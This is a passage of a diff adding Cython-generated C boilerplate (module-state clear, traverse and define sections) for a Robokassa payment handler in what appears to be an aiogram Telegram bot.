Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_kp_u_selected_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_n_s_shp_id); + Py_CLEAR(clear_module_state->__pyx_n_u_shp_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_shp_id_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_shp_id_3); + Py_CLEAR(clear_module_state->__pyx_n_s_signature_string); + Py_CLEAR(clear_module_state->__pyx_n_s_signature_value); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_s_upper); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_kp_u_with_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_with_balance_0_0); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_400); + Py_CLEAR(clear_module_state->__pyx_int_500); + Py_CLEAR(clear_module_state->__pyx_tuple__11); + Py_CLEAR(clear_module_state->__pyx_tuple__27); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_tuple__34); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__36); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_tuple__38); + Py_CLEAR(clear_module_state->__pyx_tuple__40); + Py_CLEAR(clear_module_state->__pyx_tuple__41); + Py_CLEAR(clear_module_state->__pyx_codeobj__2); + Py_CLEAR(clear_module_state->__pyx_codeobj__7); + Py_CLEAR(clear_module_state->__pyx_codeobj__20); + Py_CLEAR(clear_module_state->__pyx_codeobj__24); + Py_CLEAR(clear_module_state->__pyx_codeobj__28); + Py_CLEAR(clear_module_state->__pyx_codeobj__33); + Py_CLEAR(clear_module_state->__pyx_codeobj__39); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_kp_u_); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_kp_u_Created_new_connection_for_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_Displayed_amount_selection_for_u); + Py_VISIT(traverse_module_state->__pyx_kp_u_Error_processing_webhook); + Py_VISIT(traverse_module_state->__pyx_kp_u_Expected_signature); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_kp_u_Generated_payment_link); + Py_VISIT(traverse_module_state->__pyx_kp_u_Generated_payment_link_for_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_Generating_payment_link_for_amou); + Py_VISIT(traverse_module_state->__pyx_n_s_HashAlgorithm); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_u_InvId); + Py_VISIT(traverse_module_state->__pyx_kp_u_InvId_2); + Py_VISIT(traverse_module_state->__pyx_n_u_OK); + Py_VISIT(traverse_module_state->__pyx_n_u_OutSum); + Py_VISIT(traverse_module_state->__pyx_kp_u_OutSum_2); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_URL_for_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_link_sent_to_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_successful_Balance_updat); + Py_VISIT(traverse_module_state->__pyx_kp_u_Processing_payment_for_user); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_ENABLE); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_LOGIN); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_PASSWORD1); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_PASSWORD2); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_TEST_MODE); + Py_VISIT(traverse_module_state->__pyx_kp_u_Received_signature); + Py_VISIT(traverse_module_state->__pyx_kp_u_Received_webhook_params); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Robokassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_Robokassa_initialized_with_login); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_u_SignatureValue); + Py_VISIT(traverse_module_state->__pyx_kp_u_SignatureValue_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_Signature_string_before_hashing); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_kp_u_User); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_n_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); + Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__22); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_kp_u__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__30); + Py_VISIT(traverse_module_state->__pyx_n_s__31); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_n_s__42); + Py_VISIT(traverse_module_state->__pyx_kp_u__5); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_kp_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_algorithm); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_kp_u_callback_data_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_callback_data_3); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_check_payment_signature); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_robokassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_chose_to_enter_a_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_clear); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_description); + Py_VISIT(traverse_module_state->__pyx_kp_u_description_2); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_robokassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_entered_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_signature); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_generate_by_script); + Py_VISIT(traverse_module_state->__pyx_n_s_generate_payment_link); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handle_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_robokassa_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_robokassa_pay_2); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_n_s_hashlib); + Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_info); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_kp_u_initiated_Robokassa_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_inv_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_inv_id_2); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_is_test); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_link); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_md5); + Py_VISIT(traverse_module_state->__pyx_n_s_merchant_login); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_out_sum); + Py_VISIT(traverse_module_state->__pyx_n_s_params); + Py_VISIT(traverse_module_state->__pyx_n_s_password1); + Py_VISIT(traverse_module_state->__pyx_n_s_password2); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_robokassa); + Py_VISIT(traverse_module_state->__pyx_n_s_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_link); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_url); + Py_VISIT(traverse_module_state->__pyx_n_s_post); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_robokassa); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_s_robokassa); + Py_VISIT(traverse_module_state->__pyx_n_u_robokassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_robokassa_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_robokassa_webhook); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_kp_u_selected_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_n_s_shp_id); + Py_VISIT(traverse_module_state->__pyx_n_u_shp_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_shp_id_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_shp_id_3); + Py_VISIT(traverse_module_state->__pyx_n_s_signature_string); + Py_VISIT(traverse_module_state->__pyx_n_s_signature_value); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_s_upper); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_kp_u_with_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_with_balance_0_0); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_400); + Py_VISIT(traverse_module_state->__pyx_int_500); + Py_VISIT(traverse_module_state->__pyx_tuple__11); + Py_VISIT(traverse_module_state->__pyx_tuple__27); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_tuple__34); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__36); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_tuple__38); + Py_VISIT(traverse_module_state->__pyx_tuple__40); + Py_VISIT(traverse_module_state->__pyx_tuple__41); + Py_VISIT(traverse_module_state->__pyx_codeobj__2); + Py_VISIT(traverse_module_state->__pyx_codeobj__7); + Py_VISIT(traverse_module_state->__pyx_codeobj__20); + Py_VISIT(traverse_module_state->__pyx_codeobj__24); + Py_VISIT(traverse_module_state->__pyx_codeobj__28); + Py_VISIT(traverse_module_state->__pyx_codeobj__33); + Py_VISIT(traverse_module_state->__pyx_codeobj__39); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection +#define __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection +#define __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input +#define __pyx_kp_u_ __pyx_mstate_global->__pyx_kp_u_ +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_kp_u_Created_new_connection_for_user __pyx_mstate_global->__pyx_kp_u_Created_new_connection_for_user +#define __pyx_kp_u_Displayed_amount_selection_for_u __pyx_mstate_global->__pyx_kp_u_Displayed_amount_selection_for_u +#define __pyx_kp_u_Error_processing_webhook __pyx_mstate_global->__pyx_kp_u_Error_processing_webhook +#define __pyx_kp_u_Expected_signature __pyx_mstate_global->__pyx_kp_u_Expected_signature +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_kp_u_Generated_payment_link __pyx_mstate_global->__pyx_kp_u_Generated_payment_link +#define __pyx_kp_u_Generated_payment_link_for_user __pyx_mstate_global->__pyx_kp_u_Generated_payment_link_for_user +#define __pyx_kp_u_Generating_payment_link_for_amou __pyx_mstate_global->__pyx_kp_u_Generating_payment_link_for_amou +#define __pyx_n_s_HashAlgorithm __pyx_mstate_global->__pyx_n_s_HashAlgorithm +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_u_InvId __pyx_mstate_global->__pyx_n_u_InvId +#define __pyx_kp_u_InvId_2 __pyx_mstate_global->__pyx_kp_u_InvId_2 +#define __pyx_n_u_OK __pyx_mstate_global->__pyx_n_u_OK +#define __pyx_n_u_OutSum __pyx_mstate_global->__pyx_n_u_OutSum +#define __pyx_kp_u_OutSum_2 __pyx_mstate_global->__pyx_kp_u_OutSum_2 +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_kp_u_Payment_URL_for_user __pyx_mstate_global->__pyx_kp_u_Payment_URL_for_user +#define __pyx_kp_u_Payment_link_sent_to_user __pyx_mstate_global->__pyx_kp_u_Payment_link_sent_to_user +#define __pyx_kp_u_Payment_successful_Balance_updat __pyx_mstate_global->__pyx_kp_u_Payment_successful_Balance_updat +#define __pyx_kp_u_Processing_payment_for_user __pyx_mstate_global->__pyx_kp_u_Processing_payment_for_user +#define __pyx_n_s_ROBOKASSA_ENABLE __pyx_mstate_global->__pyx_n_s_ROBOKASSA_ENABLE +#define __pyx_n_s_ROBOKASSA_LOGIN __pyx_mstate_global->__pyx_n_s_ROBOKASSA_LOGIN +#define __pyx_n_s_ROBOKASSA_PASSWORD1 __pyx_mstate_global->__pyx_n_s_ROBOKASSA_PASSWORD1 +#define __pyx_n_s_ROBOKASSA_PASSWORD2 __pyx_mstate_global->__pyx_n_s_ROBOKASSA_PASSWORD2 +#define __pyx_n_s_ROBOKASSA_TEST_MODE __pyx_mstate_global->__pyx_n_s_ROBOKASSA_TEST_MODE +#define __pyx_kp_u_Received_signature __pyx_mstate_global->__pyx_kp_u_Received_signature +#define __pyx_kp_u_Received_webhook_params __pyx_mstate_global->__pyx_kp_u_Received_webhook_params +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Robokassa __pyx_mstate_global->__pyx_n_s_Robokassa +#define __pyx_kp_u_Robokassa_initialized_with_login __pyx_mstate_global->__pyx_kp_u_Robokassa_initialized_with_login +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_u_SignatureValue __pyx_mstate_global->__pyx_n_u_SignatureValue +#define __pyx_kp_u_SignatureValue_2 __pyx_mstate_global->__pyx_kp_u_SignatureValue_2 +#define __pyx_kp_u_Signature_string_before_hashing __pyx_mstate_global->__pyx_kp_u_Signature_string_before_hashing +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_kp_u_User __pyx_mstate_global->__pyx_kp_u_User +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_n_u__17 __pyx_mstate_global->__pyx_n_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_kp_u__29 __pyx_mstate_global->__pyx_kp_u__29 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__30 __pyx_mstate_global->__pyx_kp_u__30 +#define __pyx_n_s__31 __pyx_mstate_global->__pyx_n_s__31 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_n_s__42 __pyx_mstate_global->__pyx_n_s__42 +#define __pyx_kp_u__5 